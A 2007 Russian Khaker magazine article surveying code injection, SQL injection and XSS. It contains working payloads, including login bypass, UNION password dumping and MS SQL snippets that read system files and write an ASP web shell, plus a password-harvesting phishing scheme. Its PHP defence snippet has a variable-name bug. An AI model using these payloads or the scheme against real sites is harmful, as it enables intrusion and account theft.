Издательский дом ООО "Гейм Лэнд"СПЕЦВЫПУСК ЖУРНАЛА ХАКЕР #75, ФЕВРАЛЬ 2007 г.

внутримышечно и внутривенно

БОРИС ВОЛЬФСОН

Хакер, номер #075, стр. 030


BORISVOLFSON@GMAIL.COM, HTTP://SPLENDOT.COM

ОБЗОР ТЕХНОЛОГИЙ ВЗЛОМА ВЕБ-РЕСУРСОВ

ПРАКТИЧЕСКИ ЛЮБОЙ САЙТ МОЖНО «УБИТЬ» ПРИ ПОМОЩИ СМЕРТЕЛЬНЫХ ИНЪЕКЦИЙ. ТАКОЙ УКОЛ МОЖНО СДЕЛАТЬ ТРЕМЯ СПОСОБАМИ: ИНЪЕКЦИЕЙ КОДА, ИНЪЕКЦИЕЙ SQL И МЕЖСАЙТОВЫМИ СКРИПТАМИ. ПРО ВСЕ ТРИ ВИДА ПИСАЛОСЬ ОЧЕНЬ МНОГО СТАТЕЙ, В ЭТОМ ЖЕ МАТЕРИАЛЕ Я ХОЧУ НЕ ПРОСТО РАССКАЗАТЬ, НО И ПРОАНАЛИЗИРОВАТЬ ВСЕ ВИДЫ ИНЪЕКЦИЙ

[сode injection.]

«Этот вид уязвимостей, слава Богу, потихоньку отмирает и фактически встречается только на самописных сайтах», - такие мысли бродили у меня в голове перед написанием статьи. «Во-первых, чтобы такую дыру сделать, нужно написать реально кривой код. Во-вторых, это один из самых старых и хорошо описанных видов уязвимостей»… «в общем, кратко коснемся темы инъекции кода, и тут же перейдем к нормальным уязвимостям». Именно так я и рассуждал, поэтому за текущими новостями по теме сходил в google чисто для проформы. Каково же было мое удивление, когда по запросу «code injection» я нашел информацию о дырках в довольно известных системах ведения блогов и управления контентом.

В теории все выглядит просто: есть скрипт, исполняемый на сервере, в который взломщику необходимо встроить свой код. Провернуть такую махинацию довольно просто, если соблюдены два условия. Во-первых, веб-разработчик должен использовать конструкцию include с параметром переменной, а во-вторых, должен плохо проверять данные, поступающие от пользователя. Наиболее часто такая ситуация возникает в простых скриптах:

листинг

Язык: HTML + PHP

<!—- Заголовок -->

<?php

include ($page);

?>

<!—- Завершающая часть -->

Соответственно, работа идет со ссылками типа http://tralivali/index.php?page=about.php. Самое безобидное, что можно сделать – это просмотреть информацию о PHP (и не только):

листинг

Язык: PHP

<?php

phpinfo();

?>

Создав такой файл у себя на сервере, просто включаем его в запрос вместо about.php – и видим всю информацию на экране. Таким образом, мы внедрили произвольный код в скрипт на сервере и получили необходимую информацию. Но это только цветочки, ведь можно при помощи PHP сделать все, что нашей душе угодно.

Написав вышеописанный пример, я задумался о его наигранности и зашел в Гугл. Каково же было мое удивление, что по соответствующему запросу 3 сайта из первой десятки были уязвимы. Воистину - день открытий ;).

[SQL Injection.]

Приступим ко второму блюду – вместо борща у нас инъекция SQL. Давным-давно, когда по земле еще ходили динозавры, веб-программеры использовали для хранения данных текстовые файлы. Потом, когда человек изобрел колесо, веб-разработчики придумали базы данных и стали хранить все в них. И было всем счастье – и список пользователей туда засунуть можно, и все документы на сайте положить. Но однажды один умелец случайно ввел в форму апостроф, и выдал скрипт SQL-ошибку. Прочитал умелец сообщение, подумал немного и ввел вместо апострофа

Листинг

Язык: SQL

ПРИМЕЧАНИЕ: Сделать листинг встроенным в предложение

' OR '1'='1’

,еще немного поколдовал и стал с тех пор администратором. На том и сайту конец, а кто понял – молодец. А кто не понял – для тех поясню ;).

Работа с базой ведется на языке SQL, например, чтобы проверить, что пользователь существует, можно сделать такой запрос по логину:

Листинг

Язык: SQL

SELECT * FROM users WHERE username='$username'

А теперь подставь в запрос апостроф или ' OR '1'='1’ и посмотри, что получится. Фактически, мы можем выполнить произвольный SQL-запрос, и случиться что-нибудь нехорошее:

Листинг

Язык: SQL

'; DELETE FROM customers WHERE 1 or username = '

Хочу кинуть еще пару хороших идей, как можно воспользоваться SQL-инъекцией. Для этого мы рассмотрим детали диалектов языка SQL у разных производителей. Начнем с MySQL, который делает то, что я от него ни как не ожидал ;). А проблема проста: если SELECT-запрос подвержен инъекции, то не факт, что его результат будет выведен на экран, но если внимательно почитать руководство по MySQL, то можно найти замечательный функционал – результат запроса можно перенаправить в файл!

Листинг

Язык: SQL

SELECT <поля> FROM <таблица> INTO OUTFILE '<файл>';

Теперь осталось найти каталог, который нас приютит. В случае с CMS все решается довольно просто – почти всегда есть каталог для загрузки файлов upload. Именно в такой каталог и стоит перенаправлять вывод.

Начиная с четвертой версии, MySQL поддерживает объединение запросов при помощи команды UNION. Таким образом, можно вывести дополнительную информацию из произвольной таблицы. Посмотрим, как это выглядит на примере:

Листинг

Язык: SQL

SELECT title, description FROM articles WHERE id=’$id’;

Title и description имеют тип varchar, поэтому переменной $id нужно присвоить такое значение, чтобы при подстановке получился следующий запрос:

Листинг

Язык: SQL

SELECT title, description FROM articles WHERE id=’123123’

UNION

SELECT login, password FROM users;

/*

‘;

Обрати внимание, как я использовал комментарий – при Union-инъекциях – это стандартная практика отсечения ненужной части строки.

MS SQL Server – вообще штука веселая. При помощи SQL на нем можно даже запускать приложения. Конкретные примеры инъекций смотри на врезке и пользуйся на здоровье ;).

[XSS.]

Я слежу за новостными рассылками о дырах в безопасности одной CMS. Процентов 99 уязвимостей в модулях этой системы – XSS. Этим-то и опасен данный вид инъекций – от него чрезвычайно трудно защититься, и XSS порой подвержены даже популярные движки и крупные сайты (а-ля MySpace).

В наше время на большинстве сайтов пользователи имеют возможность создавать свои материалы и комментировать чужие. Для красивого оформления пользователю дается возможность вводить данные в формате HTML. Ввод HTML-кода может быть разрешен напрямую, либо при помощи WYSIWYG-редактора. Казалось бы, все довольны! Особенно взломщики ;). Есть хорошая пословица: «Где HTML, там и JavaScript». Таким образом, при вводе можно использовать тег <script> для исполнения произвольного JavaScript (и не только его, кстати). А если мы можем использовать скрипты, которые исполняются на стороне пользователя, значит, мы можем украсть его куки! А тут уже и до взлома аккаунта недалеко…

[фрагментированные XSS-атаки.]

Часто бывает так, что информация, вводимая пользователем, хорошо фильтруется, и к форме на кривой козе не подступишься. Но если в ней несколько полей, например, «название материалов» и «содержание материалов», то можно попробовать более сложный вид атаки – фрагментированный. При таком подходе, необходимо, чтобы данные из разных полей формы выводились последовательно, и тогда появляется вероятность того, что вместе «безобидные строчки» станут грозным оружием.

[сравнение и анализ.]

У всех описанных выше атак много общего. Как правило, они производятся на хорошо защищенный и настроенный сервер. То есть, по части администрирования вопросов не возникает, поэтому приходится искать пробелы в работе программистов. Самой опасной, на мой взгляд, дырой является возможность выполнить произвольный PHP-код на стороне сервера, после чего можно получить доступ к базам данных и выполнить JavaScript.

По распространенности сейчас лидируют XSS-атаки, чуть отстали SQL-инъекции. Поясню – пик использования SQL-инъекций прошел некоторое время назад: вспомните хотя бы бесконечные недоработки PHP-Nuke :). Что же касается инъекций кода, то скрипты, подверженные этим болезням, водятся только в самописном или незащищенном коде, хотя есть и исключения из этого правила.

Переходим к сложностям защиты. Здесь в лидерах XSS, немного отстает SQL, и позади - инъекции PHP-кода. Чтобы понять, почему именно так распределились призовые места, нужно взвесить, сколько уходит времени (денег) на защиту от той или иной напасти.

Перечень исходников с названием, которое указано в скобках в начале каждого скрипта

Название: СНИПЕТЫ MSSQL-ИНЪЕКЦИЙ ДЛЯ ACTIVEX

Источник: «Advanced SQL Injection In SQL Server Applications»

[Запускаем блокнот.]

declare @o int

exec sp_oacreate 'wscript.shell', @o out

exec sp_oamethod @o, 'run', NULL, 'notepad.exe'

[Смотрим файл boot.ini]

declare @o int, @f int, @t int, @ret int

declare @line varchar(8000)

exec sp_oacreate 'scripting.filesystemobject', @o out

exec sp_oamethod @o, 'opentextfile', @f out, 'c:\boot.ini', 1

exec @ret = sp_oamethod @f, 'readline', @line out

while( @ret = 0 )

begin

print @line

exec @ret = sp_oamethod @f, 'readline', @line out

end

[Получаем shell]

declare @o int, @f int, @t int, @ret int

exec sp_oacreate 'scripting.filesystemobject', @o out

exec sp_oamethod @o, 'createtextfile', @f out, 'c:\inetpub\wwwroot\foo.asp', 1

exec @ret = sp_oamethod @f, 'writeline', NULL,

'<% set o = server.createobject("wscript.shell"): o.run( request.querystring("cmd") ) %>'

[Сервер говорит, что он захвачен]

declare @o int, @ret int

exec sp_oacreate 'speech.voicetext', @o out

exec sp_oamethod @o, 'register', NULL, 'foo', 'bar'

exec sp_oasetproperty @o, 'speed', 150

exec sp_oamethod @o, 'speak', NULL, 'all your sequel servers are belong to,us', 528

waitfor delay '00:00:05'

Список с названиями

Название: АУДИТ XSS-УЯЗВИМОСТЕЙ

Источник: «HTML Code Injection and Cross-site scripting»

ПРИМЕЧАНИЕ: Укажите обязательно источник

[проверка форм на исполнение скрипта.]

Открываем HTML-страницу для аудита и в каждое поле поочередно вводим следующее:

Листинг

<script>alert('CSS Vulnerable')</script>

<img csstest=javascript:alert('CSS Vulnerable')>

&{alert('CSS Vulnerable')};

Дальше жмем кнопку «Отправить», и если в результате выскакивает сообщение или появляются ошибки на страничке, то форма уязвима.

[Проверка GET-запросов на исполнения скрипта.]

Теперь то же самое делаем ссылками вида «?var=qwerty» (не помешало бы аналогичным образом проверить и куки).

[HTML-инъекция.]

Во все элементы ввода пробуем вставить '';!--"<CSS_Check>=&{()}. Строка начинается с двух апострофов и заканчивается фигурной скобкой. На следующей странице ищем «<CS_Check>» (без кавычек), если нашли, то страница уязвима. Также остается возможность взлома, если часть символов не заэкранировалась.

Текст

Название: ПОИСК УЯЗВИМОСТЕЙ ТИПА CODE INJECTION

Источник: «Ten Security Checks for PHP»

ПРИМЕЧАНИЕ: Укажите обязательно источник

Старайся не использовать переменные в качестве параметров у функций readfile,

fopen, file, include, require. Если подобный функционал все-таки необходим, то можно попробовать заменить переменные константами. При использовании переменных следует ограничить файлы, которые могут быть использованы заранее определенным списком:

листинг

Язык: PHP

$valid_file = array(

"index.php" => "",

"funct.php" => "",

"common.php" => "");

if (!isset($valid_files[$page])) {

die("Данный файл нельзя использовать");

}

Если нам действительно необходимо использовать файл, имя которого определяется динамически, тогда стоит проверять его регулярным выражением:

листинг

Язык: PHP

if ( !(eregi("^[a-z_./]*$", $page) && !eregi("\\.\\.", $page)) ) {

die("Данный файл нельзя использовать");

}

В любом случае будет также полезно настроить опции allow_url_fopen и open_basedir в файле php.ini.

Социальный инжиниринг by example

Чтобы узнать пароль человека, можно использовать свои знания веб-технологий или его доверчивость. Это обычно называют социальным инжинирингом. Хочу рассказать один пример подобного приема, надеюсь, ты сделаешь выводы :). Цель: получить логин и пароль человека его аккаунта на сайте. Информация: человек очень любит XXX. «XXX» – это не то, о чем ты подумал, а произвольная тема, которой увлекается потенциальная жертва ;). Для начала необходимо сделать сайт на эту тему с большим количеством информации. Кроме материалов на сайте будет возможность их комментирования или, скажем, форум. И для того, чтобы стать активным пользователем сайта, надо зарегистрироваться на нем. А вот тут - самое интересное: у многих людей на всех сайтах пароли одинаковые!

В таком случае может возникнуть две проблемы: жертва может либо не зарегистрироваться на сайте, либо пароль может быть другим. Поэтому сайт надо наполнить интересными материалами и дать незарегистрированным пользователям возможность просматривать только их часть. Вторая проблема намного серьезней, но и из нее можно извлечь определенную пользу. Во-первых, пароль может дать информацию о том, как жертва придумывает пароли. Во-вторых, можно обнулить его пароль и прислать письмо «У нас база полетела, зарегистрируйтесь еще раз» :).

Выводы: придумывайте пароли разные и длинные - Df!2fHgo#_^_yW47M, например.

MS SQL SERVER ПОЗВОЛЯЕТ РАБОТАТЬ НЕ ТОЛЬКО С БАЗАМИ ДАННЫХ, НО И СИСТЕМОЙ В ЦЕЛОМ, ПОЭТОМУ SQL-ИНЪЕКЦИЯ ДЛЯ НЕГО ПРАКТИЧЕСКИ РАВНА ИНЪЕКЦИИ КОДА В СКРИПТ

ЕСЛИ НА АТАКУЕМОМ СЕРВЕРЕ ИСПОЛЬЗУЕТСЯ ДИРЕКТИВА MAGIC_QUOTES, ТО НЕОБХОДИМО ИСПОЛЬЗОВАТЬ ФУНКЦИЮ CHAR()

Содержание